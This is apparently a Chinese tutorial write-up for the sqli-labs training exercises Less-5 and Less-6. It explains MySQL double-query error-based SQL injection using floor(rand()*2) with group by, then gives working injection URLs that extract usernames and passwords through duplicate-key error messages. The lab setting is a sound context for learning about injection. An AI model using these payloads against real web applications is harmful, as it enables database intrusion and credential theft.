mysql less6教程_【sqli-labs】Less5~Less6

article/2025/8/4 13:05:55

双注入原理:

来源:

基本句式:

select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

派生表版

select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;

其中select database()可以换成任何希望的查询。

其中,count(*), floor(rand()*2), group by 缺一不可。

作用,会将查询结果信息通过key报错的形式显示出来。如:

4b349cd83bc1ef08933e066d39467b7c.png

原理:

mysql在遇到select count(*) from table group by x;这语句的时候会建立一个虚拟表,整个工作流程就如下图所示:

先建立虚拟表,如下图(其中key是主键,不可重复):

0f8cb4d222466bc82fe44e9067e9bfa5.png

2.开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)字段直接加1,如下图:

a93356f372369ce8f0009575ad42f74c.png

由此看到 如果key存在的话就+1, 不存在的话就新建一个key。

rand()多次计算:

mysql官方有给过提示,查询的时候如果使用rand()的话,该值会被计算多次,就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。报错实际上就是floor(rand(0)*2)被计算多次导致的,具体看看select count(*) from TSafe group by floor(rand(0)*2);的查询过程:

1.查询前默认会建立空虚拟表如下图:

d5b3b116c798d5d63bea9f986f81dd87.png

2.取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:

b08f742d71e5fd98237d0683c5ca1ad8.png

3.查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:

a0d8a3f35106b6cbabc53e7d3ee5300b.png

4.查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

5.整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

总结:

floor(rand()*2)是不可测的(未加随机因子rand(0)之类有随机因子的序列是固定的),因此在两条数据的时候,只要出现下面情况,即可报错,如下图:

7920a5c40344018653e3f8a7b4071611.png

最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。

Less-5: 双注入,单引号

第五题跟前面的四道完全不同,区别在于前四题会返回数据库的查询结果,而第五题只会输出you are in。没有结果。但是错误信息会显示。

所以思路就是如何让查询结果从错误信息中显示出来,利用上面讲的双注入方法。

1.测试数据格式

http://127.0.0.1/sqli-labs/Less-5/?id='

结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1

说明id被单引号包围,需要闭合单引号。

2.查询用户名密码

方法一:套用双注入公式

http://127.0.0.1/sqli-labs/Less-5/?id='union select 1, count(*), concat('~',(select concat(username,'/',password) from users limit 0,1),'~', floor(rand(0)*2))as a from information_schema.tables group by a -- a

结果:Duplicate entry '~Dumb/Dumb~0' for key 'group_key'

方法二:(不好,繁琐)

http://127.0.0.1/sqli-labs/Less-5/?id=' union select 1, count(*), concat(z.username,'/',z.password,floor(rand(0)*2)) b from (select x.username,x.password from (select 1 as a, username,password from users limit 0,1)x join (select 1 as a from users)y on x.a=y.a)z group by b -- a

结果:Duplicate entry 'Dumb/Dumb1' for key 'group_key'

原理:通过join函数,将第一个用户名和密码重复多次,产生重复数据,使其后在虚表中可以出现key冲突。

问题:上面一次查询一行数据可以成功报错,但是用group_contact后,将多行数据汇聚到一起则无法报错了。不应该啊,rand(0)*2的序列是固定的,且数据量一定大于3行,为何不报错???

语句如下:

http://127.0.0.1/sqli-labs/Less-5/?id='union select 1, count(*), concat(z.b,'-',floor(rand()*2)) c from (select x.b from (select 1 as a, GROUP_CONCAT(concat(username,'@',password)) as b from users limit 0,1)x join (select 1 as a from users)y on x.a=y.a)z group by c -- a

Less-6:双注入,双引号

1.判断语句格式

http://127.0.0.1/sqli-labs/Less-6/?id="

输出:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""" LIMIT 0,1' at line 14

说明id通过双引号包裹。

2.查询用户名,密码

http://127.0.0.1/sqli-labs/Less-5/?id=" union select 1, count(*), concat('~',(select concat(username,'/',password) from users limit 0,1),'~', floor(rand(0)*2))as a from information_schema.tables group by a --a


http://chatgpt.dhexx.cn/article/RVyucsGF.shtml

相关文章

【SLsec----wp】

目录 1,简单的隐写 2,海贼王里的宝藏 3,找你妹啊! 4,简单的压缩包 5,四凯撒还四栅栏? 6, 动听音符 7, 小兔子 8,签到 9,1zMD5 10&#xff0c…

sqli-labs(less6)

一、sqli-labs(less6)GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入) 1.观察index.php中$sql 2,burp拦截 3.repeater一下 4,简单修改一下,用extractvalue函数 ?id100" union select 1,2,extractvalue…

WSCL

摘要 近些年来,因为弱监督目标检测仅需要图片分类级别的label受到了人们广泛的关注,其代价是准确率一定程度的下降。本文提出了一个简单而有效的弱监督协作目标检测框架,基于共享部分特征,增强预测相关性来同时训练强&#xff0c…

wsl介绍

wsl WSL安装打开wsl功能下载指令 配置信息WSL 介绍什么是WSL比较 WSL 版本WSL 的基本命令 问题解决 WSL安装 打开wsl功能 在windows功能里面勾选实用于linux的windows子系统下载 指令 可以使用单个命令安装运行 WSL 所需的一切内容。 在管理员模式下打开 PowerShell 或 Win…

Ubuntu20.04 Openssl安装

安装背景 因为ubuntu20.04LTS中自带的openssl1.1.1版本的函数库不天汇使用,在编译过程中无法找到编译路径,故此手动安装openssl(我是个懒人,不到万不得已,不会手动安装,直接apt-get不香吗?&…

简易安装 OpenSSL

官网的太麻烦了 如果你装了git 他里面有一个openssl.exe 可以直接用 下面是简易安装方法 https://slproweb.com/products/Win32OpenSSL.html 我是win10 下这个 Win64 OpenSSL v3.1.1 选下面的 后面的赞助 全不选 配置环境变量 配置Path变量 命令行输入 openssl version 显…

python3.10.5安装时openssl安装失败的问题

初始问题:编译安装python后执行pip list 报错 [rootVM-0-6-centos Python-3.10.5]# pip3 list Package Version ---------- ------- pip 22.0.4 setuptools 58.1.0 WARNING: pip is configured with locations that require TLS/SSL, however the ssl mo…

LINUX安装openssl

openssl 官网下载 https://www.openssl.org/source/old/ 1、解压openssl包: tar -xzf openssl-1.1.1n.tar.gz2、得到openssl-1.1.1n目录,然后进入openssl-1.1.1n目录中,安装openssl到 /usr/local/openssl 目录,安装之后&#xff…

openssl安装教程(windows7系统,超详细)

openssl安装教程 1.安装包安装1.1所需资源链接1.2安装流程1.3测试是否安装成功1.4安装过程中的问题 2.自己编译源码再安装 1.安装包安装 1.1所需资源链接 openssl安装包下载地址:http://slproweb.com/products/Win32OpenSSL.html 如果用谷歌浏览器打开的话&#x…

在Window 10 64位电脑上安装 OpenSSL安装过程

前期准备 安装最新版的ActivePerl到https://www.openssl.org 下载最新OpenSSL源码到http://www.nasm.us 下载NASM汇编工具在开始任务栏里打开vc2010的工具文件夹,如图所示: 选择Visual Studio命令提示(如果是编译64位的openssl,应该打开的…

windows下OpenSSL安装

官网下载地址:https://www.openssl.org/source/ 项目GitHub地址: https://github.com/openssl/openssl 其他下载地址:http://slproweb.com/products/Win32OpenSSL.html https://oomake.com/download/openssl 一、下载openssl安装版 二、修…

OpenSSL安装及查看版本号

1、安装OpenSSL 下载链接 安装按照提示即可 2、添加系统path环境变量 D:\OpenSSL-Win64\OpenSSL-Win64\bin3、查看OpenSSL版本号 openssl version 或者 openssl version -a

openssl安装方式(Ubuntu下)

openssl安装方式 官方网站1、解压2、编译安装3、生成 软连接4、测试 官方网站 https://www.openssl.org/source/ 1、解压 我这里 安装的版本时1.0.2,其实都一样 ,默认版本 是1.1.1 拿到 源码后先解压源码文件 openssl-1.0.2u.tar.gz2、编译安装 进…

Linux查找openssl文件夹,Linux下OpenSSL 安装详解 +图解

安装环境: 操作系统:redhat 12.0 OpenSSL Version:openssl-0.9.8l Download 安装包(Linux source) :openssl-0.9.8l.tar.gz(or the latest version of openssl)下载地址: 在linux下解压缩下载到的安装包,命令如下.....tar -xzf op…

OpenSSL安装升级

官网:/source/index.html 当前(2020-10-22)最新稳定版本:https://www.openssl.org/source/openssl-1.1.1h.tar.gz Note: The latest stable version is the 1.1.1 series. This is also our Long Term Support (LTS) version, supported until 11th Se…

【物联网】Linux平台OpenSSL安装教程

00. 目录 文章目录 00. 目录01. OpenSSL概述02. OpenSSL下载03. OpenSSL安装04. 查看系统OpenSSL版本05. 附录 01. OpenSSL概述 OpenSSL是一个安全套接字层密码库,囊括主要的密码算法、常用密钥、证书封装管理功能及实现ssl协议。OpenSSL整个软件包大概可以分成三个…

OpenSSL安装使用(二):OpenSSL安装说明

注:该方法适用于Openssl 1.1.1及以上版本 1)安装环境:Windows10专业版VS2010 相关软件下载地址: 1)ActivePerl :Download & Install Perl - ActiveState 2)openssl:/source/…

OpenSSL安装

下载OpenSSL压缩包 下载地址 可以直接下载压缩包或者用Git拉取 下载perl 下载地址 下载压缩包,解压,将路径D:\Program\strawberry-perl\perl\bin配置到环境变量path中 打开powershell,输入perl -v 代表安装成功 下载nasm 下载地址 下载…

OpenSSL完整安装教程及部分问题解决

一、环境: 系统:Centos 7 OpenSSL版本:openssl-1.1.1g 二、下载 OpenSSL官方下载网址:https://www.openssl.org/source/ openssl有发行了2.0版本,但此处仅用稳定的1.0版本即可。 官方教程:https://wiki.…

Windows 下OpenSSL安装过程及错误解决办法

Windows下使用OpenSSL有两种方式: 一.直接下载别人编译好的安装包:http://slproweb.com/products/Win32OpenSSL.html 二.自己编译安装: 1.下载并安装perl http://www.activestate.com/activeperl/downloads/ 2.安装与配置: …